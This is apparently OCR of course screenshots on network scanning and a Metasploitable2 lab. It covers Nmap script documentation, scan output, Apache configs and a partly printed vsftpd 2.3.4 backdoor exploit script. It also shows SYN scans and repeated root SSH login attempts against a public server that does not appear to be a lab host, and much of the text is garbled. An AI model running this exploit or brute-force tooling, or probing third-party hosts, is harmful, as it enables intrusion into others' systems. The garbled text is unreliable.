ip-geolocation-ipinfodb.nse
ip-geolocation-map-bing.nse
ip-geolocation-map-google.nse
ip-geolocation-map-kml.nse
ip-geolocation-maxmind.nse
ip-https-discover.nse
ipidseq.nse

afp-serverinfo.nse
afp-showmount.nse

ajp-auth.nse
ajp-brute.nse
ajp-headers.nse
ajp-methods.nse

ajp-request.nse
allseeingeye-info.nse
amgp-info.nse

asn-query.nse
auth-owners.nse
auth-spoof.nse
backorifice-brute.nse
backorifice-info.nse
bacnet-info.nse
banner.nse
bitcoin-getaddr.nse
bitcoin-info.nse
bitcoinrpc-info.nse

hittarrent_dicraverv nce
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ipmi-brute.nse
ipmi-cipher-zero.nse
ipmi-version.nse
ipv6-multicast-mld-list.nse
ipv6-node-info.nse
ipvé-ra-flood.nse
irc-botnet-channels.nse
irc-brute.nse

irc-info.nse [
irc-sasl-brute.nse
irc-unrealircd-backdoor.nse
iscsi-brute.nse
iscsi-info.nse
isns-info.nse

jdwp-exec.nse

jdwp-info.nse
jdwp-inject.nse

idwn_vercian nca
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cccam-version.nse
cics-enum.nse
cics-info.nse
cics-user-brute.nse
cics-user-enum.nse
citrix-brute-xml.nse
citrix-enum-apps.nse
citrix-enum-apps-xml.nse
citrix-enum-servers.nse
citrix-enum-servers-xml.nse
clamav-exec.nse

clock-skew.nse

coap-resources.nse
couchdb-databases.nse
couchdb-stats.nse
creds-summary.nse
cups-info.nse
cups-queue-info.nse
cvs-brute.nse
cvs-brute-repository.nse
daap-get-library.nse
daytime.nse
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Script mysql-users

Script types: portrule
Categories: auth, intrusive

ms-sql-query.nse
ms-sql-tables.nse
ms-sql-xp-cmdshell.nse
mtrace.nse
multicast-profinet-discovery.nse
murmur-version.nse
mysql-audit.nse
mysql-brute.nse
mysql-databases.nse
mysql-dump-hashes.nse
mysql-empty-password.nse
mysql-enum.nse
mysql-info.nse
mysql-query.nse
mysql-users.nse
mysql-variables.nse
mysql-vuln-cve2012-2122.nse
nat-pmp-info.nse
nat-pmp-mapport.nse
nbd-info.nse
nbns-interfaces.nse
nbstat.nse

Download: https:/isvn.nmap.orginmap/scripts/mysgl-users.nse

Script Summary

Attempts to list all users on a MySQL server.

Script Arguments

mysqluser

YiWwee! Wi JWAI e qUALRUTWIHqAW GYYne Wo WIt gVt W #l RGa

Jump to:

Script Arguments
Example Usage
Script Output

The username to use for authentication. If unset it attempts to use credentials found by mysql-brute or mysql-empty-

password.

mysqlpass

LS

The password to use for authentication. If unset it attempts to use credentials found by mysql-brute or mysql-empty-

password.

Example Usage

nmap -sV --script=mysql-users <target>
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finger.nse
fingerprint-strings.nse
firewalk.nse
firewall-bypass.nse
flume-master-info.nse
fox-info.nse
freelancer-info.nse
€tp-anon.nse
p-bounce.nse
ftp-brute.nse
ftp-libopie.nse
ftp-proftpd-backdoor.nse
ftp-syst.nse
ftp-vsftpd-backdoor.nse

gsql-brute.nse
pjl-ready-message.nse
pop3-brute.nse
pop3-capabilities.nse
pop3-ntlm-info.nse
port-states.nse
pptp-version.nse
profinet-cm-lookup.nse
puppet-naivesigning.nse
gconn-exec.nse
gscan.nse
quakel-info.nse
quake3-info.nse
quake3-master-getserver

ftp-vuln-cve2010-4221.nse rdp-enum-encryption.nse
ganglia-info.nse rdp-ntim-info.nse
giop-info.nse rdp-vuln-ms12-020.nse
gkrellm-info.nse realvnc-auth-bypass.nse
gopher-1s.nse redis-brute.nse
gpsd-info.nse redis-info.nse

ngedVYUaWERWqUWULGYH We Ot 31 2RT VI W[ NAWcUZURGYB W~e

http-vuln-cve2014-8877.nse tor-consensus-checker.nse
http-vuln-cve2015-1427.nse traceroute-geolocation.nse
http-vuln-cve2015-1635.nse tso-brute.nse
http-vuln-cve2017-1001000.nse tso-enum.nse
http-vuln-cve2017-5638.nse ubiquiti-discovery.nse
http-vuln-cve2017-5689.nse unittest.nse
http-vuln-cve2017-8917.nse unusual-port.nse
http-vuln-misfortune-cookie.nse upnp-info.nse
http-vuln-wnr1000-creds.nse uptime-agent-info.nse
http-waf-detect.nse url-snarf.nse
http-waf-fingerprint.nse ventrilo-info.nse

1 eDday-sCcan.nse ant-1nro.nse

2eiUalWWEYUWGE! ¢ W21 W2edaUWI ¢HROGRT ¢T 1t
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)-[/usr/share/nmap/scripts]
= t ssh2-enum-algos -p 49560 192.168.1.48
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-03 20:25 CET
Nmap scan report for 192.168.1.48
Host is up (0.00028s latency).

PORT STATE SERVICE

49560/tcp open unknown

MAC Address: 08:00:27:E4:E0:A1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

/usr/share/nmap/scripts

x YW erwHUAWE 2 Ohue JWOY W 3t A2 A JWwoeT ¢ 1o
Yl ¢lW2¢We WG YHe ! W IWnea 3l A¢ WAl 2q¢ a

ssh-brute.timeout
Connection timeout (default: "5s")

brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries,
brute.start, brute.threads, brute.unique, brute.useraspass

See the documentation for the brute library.
creds.[service], creds.global
See the documentation for the creds library.
passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdbh

See the documentation for the unpwdb library.

Example Usage

nmap -p 22 --script ssh-brute --script-args [EIgelvEITE]CRNER o E B o REEMENT, ssh-brute . timeo
.. o S
§ql YWJITWGGHYa

Script ssh-run

Script types: portrule
Categories: intrusive
Download: https:/Isvn.nmap.orginmap/scriptsissh-run.nse

Script Summary

Translation [

From To

English Spanish

E_iecuta comandos remotos en el servidor ssh y devuelve la
salida del comando.

Example Usage

nmap -p 22 --script=ssh-run \
--script-aras="ssh-run.cmd=ls -1 /. ssh-run.username=mvusername. ssh-run.password=mvpassword"
—
L .

Script Output
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: $ ssh alfonso@192.168.1.48
alfonso@192.168.1.48's password:

Linux debian 6.12.73+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6
2-17) x86_64
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G ftpl//elpais.com:21
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L% ping elpais.com
PING elpais.com (2.16.88.75) 56(84) bytes of data.

64 bytes from a2-16-88-75.deploy.static.akamaitechnologies.com (2.16.88.75): i
p_seq=1 ttl=57 time=4.22 ms

64 bytes from a2-16-88-75.deploy.static.akamaitechnologies.com (2.16.88.75): i
p_seq=2 ttl=57 time=4.21 ms

64 bytes from a2-16-88-75.deploy.static.akamaitechnologies.com (2.16.88.75): i
p_seq=3 ttl=57 time=4.11 ms

64 bytes from a2-16-88-75.deploy.static.akamaitechnologies.com (2.16.88.75): i
p_seq=4 ttl=57 time=4.33 ms

s

--- elpais.com ping statistics ---

5 packets transmitted, 4 received, 20% packet loss, time 4020ms

rtt min/avg/max/mdev = 4.112/4.220/4.334/0.078 ms

2.16.88.75
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L v -T1 2.16.88.75
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L ving ayto-pepino.com

PING ayto-pepino.com (217.76.132.230) 56(84) bytes of data.
“c

--- ayto-pepino.com ping statistics --—-
7 packets transmitted, @ received, 100% packet loss, time 6138ms

ap 217.76.132.230

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-03 21:10 CET
NSE: Loaded 157 scripts for scanning.

NSE: Script Pre-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Completed NSE at 21:10, @.80s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:1@
Completed NSE at 21:10, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:
Completed NSE at 21:10, @.00s elapsed
Initiating Ping Scan at 21:10
Scanning 217.76.132.230 [4 ports]
Completed Ping Scan at 21:10, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:10
Completed Parallel DNS resolution of 1 host. at 21:18, @.06s elapsed
DNS resolution of 1 IPs took ©.06s. Mode: Async [#: 2, OK: 1, NX: @, DR: @, SF: @, TR: 1, CN: @]
Initiating SYN Stealth Scan at 21:10
Scanning lwgh689.servidoresdns.net (217.76.132,230) [1000 ports]
Discovered open port 443/tcp on 217.76.132.230
Diecoierod open port 88/tcp on 217.76.132.230
ppen port 21/tcp on 217.76.132.230
ppen port 22/tcp on 217.76.132.230
bpen port 8443/tcp on 217.76.132.230
bpen port 8008/tcp on 217.76.132.230
YN Stealth Scan at 21:10, 6.79s elapsed (1000 total ports)
Service scan at 21:10
scanning 6 services on lwgh689.servidoresdns.net (217.76.132.230)
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l ssh rootg217.76.132.230

he authenticity of host '217.76.132.230 (217.76.132.230)' can't be established.
ECDSA key fingerprint is: SHA256:ehs5jvUrOgbyklxfVhRoHCOQWZxXXE/fZZ100PD2CduY
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])?
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| rootg217.76.132.230
%% WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
rootg217.76.132.230"'s password:
Permission denied, please try again.
rootg217.76.132.230"'s password:
Permission denied, please try again.
rootg217.76.132.230"'s password:
root217.76.132.230: Permission denied (publickey,password).

)| -~
sh rootg217.76.132.230
%% WARNING: connection is not using a post-quantum key exchange algorithm.
*% This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
rootg217.76.132.230"'s password:
Permission denied, please try again.

rootg217.76.132.230"'s password:

Permission denied, please try again.

root217.76.132,230's password:

root@217.76.132.230: Permission denied (publickey,password).

r A ) ~
L¢ ssh root@217.76.132.230
*% WARNING: connection is not using a post-quantum key exchange algorithm.
*% This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
roota217.76.132.230"'s password:

denied, please try again.

.132.230's password:

denied, please try again.

.132.230"'s password:

.132.230: Permission denied (publickey,password).
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VZtJIcerBjNszHTrgR7DMy6FIMFn1F9jGOsSMkGOKAYuS5dqoMEiCTXLpgQWyoEWID
AQABMAOGCSqGSIb3DQEBCWUAA4IBAQAVVNWITrqczqqow20el77voXn9aTgbex/0C
8kSTVetrThCh8s0+GH507 fw4PkyxFfulosSRY18Bj17dVOILMbh959y7PKTWCNAL
ISNXxuUQ1C2Ctc6s06WtnKHh3nQaJKYix0CTwN4ZFDeBDWKkbT+aqiCDzWDiAvUOA0
wgOvkWaGy+6rB8fT/mcRaK2BH7H374tk5KqPrQwlvied/y+1BrpoISebC/akVOUE
CqOXL36uOMdNINY/p/wHbaHfrcSe9EVTg7 EuwSuqSwmMqrduf9DyEtY2N18ShBZD
f2c8ZXeb7abPkgef3cbwMHrqQ8ADiQgalngazNXU/a7/CIMOLLX
END CERTIFICATE
open ssh syn-ack ttl 118 E-Crgprotocol 2.0)
open http syn-ack ttl 118 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
443/tcp open https? syn-ack ttl 118
8008/tcp open http syn-ack ttl 118 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-title: Bad Request
| _http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open https-alt? syn-ack ttl 118
jarning: 0SScan results may be unreliable because we could not find at least 1 ope
0S fingerprint not ideal because: Missing a closed TCP port so results incomplete
No 0S matches for host
CP/IP fingerprint:




Wing FTP Server
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Zona horaria

Latitud

Longitud
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ASN

Whois
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https://msl.avisando.com/pdf/nmap.pdf
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The systems currently supported by

nterprise Linux and derivotives

Debian Linux and derivatives
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AYUOUGYH WoeWf AW WG WGe W qYAWOYH WayYnyeavt W a
OYUGRINWUA¢cWe UWi RACIT a

p Yt WGl WNaUqé Wt RiWve 31 13a VY W W31 2RT Y1 Wl WWHY! 1 3Y



p ERWe I BGYt WRUL qc¢ b ¢l 200MHUR g RE R2 R WGBAIGE T 2 & a0l
ctinNnelUcwWeGUUcAcWGa It Whe JWUOYYE We 2R e Wx YLWa ¢ dY LW

p OqRORAC¢I W7?2Wbi~¢l Re?27WYW~! EAxbB

p
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{ J= |~
’—_ nmap -0 -vvv 192.168.10.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-02 21:06 +0100
Initiating ARP Ping Scan at 21:06
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 21:06, 2.19s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 3 hosts. at 21:06

Completed Parallel DNS resolution of 3 hosts. at 21:06, 3.09s elapsed

DNS resolution of 3 IPs took 3.09s. Mode: Async [#: 1, OK: @, NX: 3, DR: @, SF: @, TR: 3, CN: @]
Nmap scan report for 192.168.10.@ [host down, received no-response]

Nmap scan report for 192.168.10.2 [host down, received no-response]

Nmap scan report for 192.168.10.3 [host down, received no-response]

Nmap scan report for 192.168.10.4 [host down, received no-response]

Nmap scan report for 192.168.10.5 [host down, received no-response]
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Ajustes de escritura

Categoria por defectoparalas ?
entra P e
Formazo de entrada por

detect

Publicar por correo electrénico

Servidor de correo rail.exanple.con
Nombre de acceso
Contraseiia o

Categeria por defecto pars
publicer por corres
electrénico

Servicios de actualizacion
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We hope that you enjoy your Cloud Server!

root@host:~# cd /etc/

root@host: /etc# cd apache2/

root@host: /etc/apache2# 1s

apache2.conf conf-enabled magic mods-enabled sites-available suexec
conf-available envvars mods-available ports.conf sites-enabled
root@host: /etc/apache2# 1s -1
total 84

root root 7606 Mar
root root 4096 Mar
root root 4096 Mar
root root 1782 Dec
root root 31063 Dec
root root 12288 Mar
drwxr-xr-x root root 4096 Mar 20:00 mods-enabled
-TW-F--r-- root root 274 Dec 11:21 ports.conf
drwxr-xr-x 2 root root 4096 Mar 4 20:47 sites-available
drixr-xr-x 2 root root 4096 Mar 4 20:38 SINCEREUELIEN
drwxr-xr-x 2 root root 4096 Mar 4 20:38 suexec
root@host: /etc/apache2# I

20:02 apache2.conf
20:02 conf-available
20:00 conf-enabled
19:52 envvars

11:21 magic

20:38 mods-available

-TW-T--[--
drwxr-xr-x

drwxr-xr-x
-TW-T--T--
-TW-T--T--
drwxr-xr-x

NN R NN
(O [ SN N 0 BV [ S S Y

x e JNYWeaWseH WeUWmWOcUYWRIHGC ] IORY G ORY Un

M~ alfonso@alfonso-pc: ~

GNU nano 8.4 ifichar.com.conf

VirtualHost *:80>

SuexecUserGroup #1002 #1002

ServerName ipjteiEIgieely]

ServerAlias www.1ifichar.com

ServerAlias mail.ifichar.com

ServerAlias webmail.ifichar.com

ServerAlias admin.ifichar.com

DocumentRoot /home/ifichar/public_html J

ErrorLog /var/log/virtualmin/ifichar.com_error_log

CustomLog /var/log/virtualmin/ifichar.com_access_log combined

ScriptAlias /cgi-bin/ /home/ifichar/cgi-bin/

ScriptAlias /awstats /home/ifichar/cgi-bin/awstats.pl

DirectoryIndex index.php index.htm index.html

<Directory /home/ifichar/public_html>

Options -Indexes +IncludesNOEXEC +SymLinksIfOwnerMatch

Require all granted

AllowOverride All Options=ExecCGI,Includes,IncludesNOEXEC,Indexes,MultiViews,SymLinksIfOwng
</Directory>
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Opciones de Website

En el dominio ifichar.com

Opciones de sitios web

Subdirectorio de documentos del sitio web
public_html
¢Cambiar el nombre del directorio actual si se cambia?

¢Redirigir todas las solicitudes al sitio SSL
e Si No

Redirigir al dominio canénico

e Desactivado
Redirigir www .ifichar.comaifichar.com
Redirigir ifichar.comawww.ifichar.com
Subdominios de ifichar.coma ifichar.com

¢El sitio web coincide con todos los subdominios
Si e No

¢Permitir el uso de servidor incluye

Si, en archivos que terminan con .shtml No e Incumplimiento global

O WG Waee Ua Wi IJLLIHVUG]I YOWaUWw2e We We Yel RI Wacet W RI WHC
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<Files awstats.pl>
AuthName "ifichar.com statistics”

AuthType Basic
AuthUserFile /home/ifichar/.awstats-htpasswd

require valid-user
</Files>

ewriteRule ~/(?!.well-known)(.*)$(.*)$ https://%{HTTP_HOST}/$151 [R]j
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#l# Descanso
Iniciado

&> Finalizar Descanso

Teletrabajo

Jornada:

X Jornada Iniciada - 05/03/2026
18:20:29

e Descanso Iniciado -
05/03/2026 19:06:21
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certificado digital ssl web

Todo | M icde Noticia fea . ibr - H pant

4 Vista creada con IA

Un certificado digital SSL (Secure Sockets Layer) es un protocolo de seguridad que cifra
la conexion entre el navegador del usuano y el servidor web, activando el protocolo
HTTPS (candado verde). Autentica la identidad del sitio, protege la transmision de datos
(contrasefias, tarjetas) y mejora el posicionamiento SEO. @ cuousivn s

Aspectos clave de los certificados SSL:

« Funcionamiento: Vincula una clave criptografica con los datos de una organizacion,
asegurando que nadie mas pueda interceptar la comunicacion,

« Importancia: Indispensable para comercios electronicos y sitios que recogen
informacion personal, evitando que navegadores como Chrome marquen la web
como "no segura”.

« Tipos principales:

o Validacion de Dominio (DV): Rapido y automatico, ideal para blogs o webs
personales

o Validacion de Organizacion (OV): Mayor validacion de la empresa, recomendado
para empresas.

o Wildcard: Protege un dominio principal y sus subdominios ilimitados con un solo
certificado.

« Emisores: Entidades de certificacion (CA) como GlobalSign, DigiCert, o la FNMT en
Espafia

« Renovacion: Generalmente deben renovarse anualmente. @ cibasign +&
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€ C 25 mxtoolbox.com/Supericol.aspxiaction=dmarc%3aayto-pepino.comérun=toolpage#
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. TOOLBOX"

SuperTool| Betas

ayto-pepino.cor|

smtp:ayto-pepino.com \ e e

Unable to connect after 15 seconds.

Test Result
[ x] SMTP Connect Failed To Connect

Session Transcrpt

Connecting to 217.76.132.230
3/5/2026 12:37:04 PM Connection attempt #1 Unable to connect arter 15 seconds.
[15.82 sec)

LookupServer [smtp:ayto-peplno.com] 15185ss

175 okUp ins check mx Jookug
Reported by mxtoolbox.com on 3/5/2026 at 12:36:49 PM. ]usLtOI You.

dmarc:ayto-pepino.com

O Get the Best in Emaill Dellvery
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(@) DMARC Check Tool - Check DMARC Records for Errors

Doemain Name

A
[ Sovosmal

Toet Rewudt
Q DMARC Rocond Publshod No OMARC Rocord found

o g
Reporied by dnsd servidoresdns.net on L2006 ar 12:36:29 PM (UTC -6), just for you
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All Tools (A-2)

AALA, Logkup ARIN Lockup ASN Lookao

BN Lookug slackst Check Blocklst Check “
CERT Lockup CNAME Lookup DKIM Leokup
LMARC Lookup DINS Check LMS Lookun
DONSKLY Lockup Loman Healh DS Lockup
cimail Delverabiny HTTP Lockup HTTPS Lookup
IPSLOKLY Lookup LOC Lookup MTA-ST5 Lookus

MX Lookup NSEC Loowup NSLCSOARAM Lockugp
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DAMARC | ookIp

CrneTTT) HHCHER LI HIOO0N! LNecK .
CERT L cokup CNAME | ook DKIM | cokup
OMARC Lookup NS Check DNS Lookup
! DNSKEY Lookup Dorman Healh DS Leokup
Emeal Delserabdiny HTTP Lockup HTTPS Lockup
IPSECKEY Losg LOC Lookup MTA-STS Lookup
MX Loakug NSEC Lookup NSECIOARAM Lockup
Py Reverse Lookup RRSIG Lookup
SOA Lovkup SPF Revond Lookup SV Losap
TCP Lovhug JaTest Emasl Server TLSRPT Lovkup
Trace TAT Lockup Vihat 1s My 1P?
[8 Whos Losap v
SuperTool| Be=a

YT PEPING COM Tos1 Fmal Servws

smip:ayto-pepino.com ¢ This Solwe Emadl Delwery Probiems
*
Unable to connect after 15 seconds.
Tust Renult
o SMTE Corrwad Fabed To Cormec

Sennann rapecnpt
Conr=cting ta P1/./6.133. 738
3/6/2826 12:37:64 PM Connection attempt #1 - Unable to connect after 16 seconds.
[15.82 sec]

- LookupServer [smtpiayto-pepine. com] 151050

ceclWneddel YWieWHYUN+FRZUWeOGWHYI I WY
6Yl ¢ WAGRI ¢ WG W?2uf ~a

Fmal Server :

Test Emal Server OMARC Lodiup
H All Tools {A-Z)
AAAA Lookip ARIN Look. ASN Luckup
BINS Lockup Blackist Check Blockist Check
CERT Lookup CNAME Lockup c DKM Lotll
DMARC Lockup DNS Chack DS Lockup
38 DNSKEY Lookup Domain Health 05 Lookup
Emas Detverabiity HTT? Lookip HTTPS Lookup
WSECKEY Lockup LOC Loolap MTA-STS Lookp
WX Lookup NSEC Lookup NSECIPARAM Lookp
;:. Ping Reverse Lookp RRSG Lockup

S04 | aosan SPF Record | ookun SBY | ackun



SuperTool s«a

An error has ocourtod wieh your lookun. Ploase Iry agan.

You must inciude & selecian when checkng DKIM,

+ Option 1 (domain) {salecior i . maoobox. conuemal - where
maoabox. COm 15 the Joman DAt and amal 15 the seleciar,
seperaled by a colon 13

+ Opon 2 (sesector).(_damaniey) (domain} .e.
emad_dormeainkey imxiooibox. oom - where emad = the seector
folowed try _damaviey. and then mxtoolbox.com as $we domain,

More wformation

¢l WHWWhe JWaé 8 GYRYWqRWOWOW? uf ~
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Nombre: Metaexploit i
Carpeta: ~ C\Users\Academia\VirtualBox VMs v
Imagen ISQ: | hd
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C— Tipo:  Linux v
Dubtype: Ubuntu e
Version:  Ubuntu (64-bit) v

Omitir instalacion desatendida

Ayuda Anterior Cancelar
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3 Crear maquina virtual = (m]

X

() Crear un disco duro virtual ahora
Ubicaci6n y tamafio del archivo de disco
C\Users\Academia\VirtualBox VMs\Metaexploit\Metaexploit.vdi @ L:,
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 I 25’00 GB
4,00 MB 2,00 TB

Tipo y variante de archivo de disco duro
VDI (VirtualBox Disk Image) ™ Reservar completamente
Split Into 2GB Parts

© Usar un archivo de disco duro virtual existente

Metasploitable.vmdk (Normal, 8,00 GB) v

£

O No anadir un disco duro virtual

Ayuda Anterior Terminar Cancelar
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DORYOUql ¢Vt WicwWdeche RUCW DWW WNqeWEGaYRae ATWIO
x ¢ WA ¢he ROEWT WWEWqeN+FGiYRge AT WAL We U¢ Wa ¢ ue RUG WA

-+ 1} root@kali: /home/javier
Currently scanning: 192.168.0.8/16 | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from & hosts. Total size: 360

IP At MAC Address Count MAC Vendor / Hostname
192.168.10.101 d8:bb:cl:d1:0e:cl Micro-Star INTL CO., LTD.
192.168.10.1 00:e2:69:85:6a:88 Unknown vendor

192.168.10.100 b@:6e:bf:cd:c7:49 ASUSTek COMPUTER INC.
192.168.10.111 08:00:27:25:56:10 PCS Systemtechnik GmbH

EVWGRWHAEE YWIL Wt q¢ 1o

x Jwia e UAca Yt we ULW
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e uayYtw I 2RT YI W RNAWYUOWG2 3l qVYW=NA Wz JWqRIJUIIWE H
Nec G ARNDUWGz2 Ul qVYW==8

NDGUWqAWGa Ul qYWl YWY I JYWJdaWHEql YORABYWE AqR2 YALE D
| 3t GYUT Wl WweanYaweYUnNnYWIUWHSE! YdWaWIN®ZIONS Y FONMIONN |

& & /A Noesseguro 192.168.10.111

[ Cursos [ Ofertas [J Hair [ Simfony [3J Angular ['f! thatsenglish [§ Mitablel

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

TWiki
phpMyAdmin
Mutillidae
DVWA
WebDAV

§ql YAWIUWUIG WGz Wl qYW=EN=ZNWqRUIUWIWYql YW[] NABs
ERWGYIGIEYa bl N = DN W KD MEOMSE Me UWIT RI WHqY! RYWGW! YWOVYH
2¢HRCB

gql cW6I 1 ¢caRPDUqec a
GRN0GcGOWLIUWYE ¢ RWIRUe2 #WHAHzt A¢UT Y éballl ¢ WIt q¢ WRUY
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ftp://192.168.10.111/

9de mar 19:14

zenmap

YOVYWyaweYdeUl Ya
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B4 Kali Linux [Corriendo] - Oracle VirtualBox

- - Aplicaciones  Lugares

Scan Tools Profile Help
Target: | 192.168.10.111
Command: nmap -T4 -A-v192.168.10.111

Host Details

Ports [Hosts  Topology

Hosts  Services Nmap Output

Ynasc¢l UL
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- - Aplicaciones  Lugares 9 de mar 19:21

Zenmap
Scan Tools Profile Help

Target:  192.168.10.11 =  Profile:  Intense scan

Command: nmap -T4 -A-v192.168.10.111

Hosts  Services Nmap Output ~ Ports/Hosts  Topology — Host Details

nmap -T4 -A -v192.168.10.111

en port 513/tcp on IEFESTERETIEEEI
port 1099/tcp ::un

3 1th Scan at 19:17, 0.12s elapsed (1000 total ports)
Initiating Servic can at 19:17
Scanning 23 i n
Completed Se e scan at 19:17, 11.04s elapsed (23 services on 1 host)
Initiating 0S detection (try #1) against
INSE : BT NS o192 . 168 . 10. 111
Initiating NSE at 19:17
TE# [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 19:17, 9.85s elapsed
Initiating NSE at 19:17
Completed NSE at 19:17, 0.55s elapsed
Initiati NSE at 19:17
Completed NSE at 19:17, 0.01s elapsed
Nmap scan re| 192.168.10.111]
Host is up (0©.06 latency).
TR 977 closed tcp ports
PORT STATE SERVICE VERSLUN
21/tcp open ftp %

| _ftp-anon: Anonymous FTi. login allowed (F P code 230)

4. 192.168.10.1M

192.168.10.109|
in as ftp
TYPE: ASCII

| Public K

| Signatu shalWithRSAEncryption

| Mot valid b re: 2010-03-17T14:07:45

| Mot valid after 2010-04-16T14:07:45

| MD5: dcd9 ad9e 6c¢8f 2f73 74af 383b 2540 8828

| SHA-1: ed@9 3088 7066 @3bf d5dc 2373 99b4 98da 2d4d 31c6

| SHA-256: e7a7 fa@d 63e4 57c7 c4a5 9b38 b708 49c6 a70b da6f B830c 7afl e32d
53/tcp open domain ISC BIND 9.4.2

Apache httpd 2.2.8 ((Ubuntu) DAV/2)

GET HEAD POST OPTIONS
rve a Apache/2.2.8 (Ubuntu) DAV/2
http-title: Metasploitable2 - Linux
111l/tcp open rpchind 2 (RPC #100000)
| rpcinfo:

tue RW6 ¢! We Ue Ws WHIOWERWHzt AYWN®=IONZ YIONMIONNNa Y MG«
201 Wt RWqRIUWWedNaU¢cwW2adUWlI ¢HRORT ¢1 Ws JAB

tcp ports (r
STATE SERVICE VERSION

open ftp vsftpd 2
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Verified Has App Y Filters Y Reset All

Show| 15 v Search:  vsftpd 2.3.4
Date D A V Title Type Platform Author
2021-04-12 * vsftpd 2.3.4 - Backdoor Command Execution Remote Unix HerculesRD
——
2011-07-05 L - | vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) Remote Unix Metasploit
Showing 1 to 2 of 2 entries (filtered from 46,496 total entries) o f
DEIELERES Links Sites Solutions
Exploits Search Exploit-DB OffSec Courses and Certifications
Google Hacking Submit Entry Kali Linux Learn Subscriptions
Papers SearchSploit Manual VulnHub OffSec Cyber Range
Shellcodes Exploit Statistics Proving Grounds

Penetration Testing Services
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https://www.exploit-db.com/exploits/49757

vsftpd 2.3.4 - Backdoor Command Execution

EDB-ID: CVE: Author: Type: Platform Date:
2011-2523 HERCULESRD REMOTE :
UNIX
EDB Verified: Exploit: ¥ / {}
J— Vulnerable App:

<)

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021

# Exploit Author: Hercul
# Software Link: http://
g
#
#

nuxfromscratch.org/~thomasp/blfs-book-xs1/server/vsftpd. html
Version: vsftpd 2.3.4

Tested on: debian

CVE : CVE-2811-2523

#!/usr/bin/python3

from telnetlib import Telnet
import argparse

from signal import signal, SIGINT

from sys import exit

def handler(signal_received, frame

# Handle any cleanup here
print(’ [+]Exiting..."
exit(e

signal(SIGINT, handler

parser=argparse.ArgumentParser

parser.add_argument(“host”, help="input the address of the vulnerable host", type=str
args = parser.parse_args

x YW 3t #el ncavYt WIUWucaRa



alfonso@kali: ~/Descargas

GNU nano 8.6 49757 .py

telnetlib Telnet

argparse
signal signal, SIGINT
5y5 exit

(signal_received, frame):

print(’ [+]Exiting...")
exit(e)

signal(SIGINT, handler)

parser=argparse.ArgumentParser()

parser.add_argument("host”, help="input the address of the vulnerable host", type=str)
args = parser.parse_a

tn=Telnet(host, portfFTP)

tn.read_until(b FTPd
tn.write(user.encode(
tn.read_until(b"passuor
tn.write(password.encode( 'ascii') + b™\n")

tn2=Telnet(host, 6200)
print(

print(‘Send
tn2.interact()

[~/Descargas]

)-[~/Descargas |

[~/Descargas |

[~/Descargas ]

total 4
-rw-rw-r-- 1 alfonso alfonso 1269 mar 9 19:29 49757.py

)-[~/Descargas |
d 777 49757.py

e - ~/Descargas |

=

— =1
total 4
-rwxrwxrwx 1 alfonso alfonso 1269 mar 9 19:29 49757.py

-[~/Descargas

EVUI REWRUqUI Bt ¢ UqUWGY! WG ayYWsewHII wWe 0w
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#1/usr/bin/python3

from telnetlib imporT Telnet
import argparse

from signal import signal, SIGINT
from sys import exit

def handler(signal received, frame):
# Handle any cleanup here
print(' [+]Exiting...
exit(@

signal (SIGINT, handler)

parser=argparse.ArgumentParser

parser.add argument("host", help="input the address of the vulnerable host", type=str
args = parser.parse args/()

host = args.host

AY1 e JWIUWIG W HI RGqW2 G Y1 Whe WWGE ¢! Whe WlWet ¢ 1 WHG! a

OWedY!l ¢W! ¢WicecWYT Rt D¢ a
xYWdeUAYa
)-[~/Descargas]
| hon3 49757.py 192.168.1.72
Traceback (most recent call last):

File
from telnetlib import Telnet

)-[~/Descargas |

[:_ nano 49757.py

install telnetlib python3

Tambien se muestran resultados de ins tlib python
Limitar resultados a ir

telnetlib3

telnetlib3 4.0.1
®




[_—:f )-|~/Descargas |
python3 49757.py 192.168.1.72
Traceback (most recent call last):
File
from telnetlib import Telnet

[ja )-[~/Descargas |
nano 49757.py

)-[~/Descargas |
pip install telnetlib3
: externally-managed-environment

EOW2W1 T eT WHYOWSeHII! WmWgRa UlqUedOWe YT YW YVYaqb W L

Verified Has App
Show| 15 v
Date & D A Vo Title
2021-04-12 ¥ vsftpd 2.3.4 - Backdoor Command Execution
2011-07-05 $ [ +] vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
—_——

Showing 1 to 2 of 2 entries (filtered from 46,496 total entries)
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Show| 15 v Search: | vsftpd 2.3.4
Date D A V Title Type Platform Author
2021-04-12 * vsftpd 2.3.4 - Backdoor Command Execution Remote Unix HerculesRD
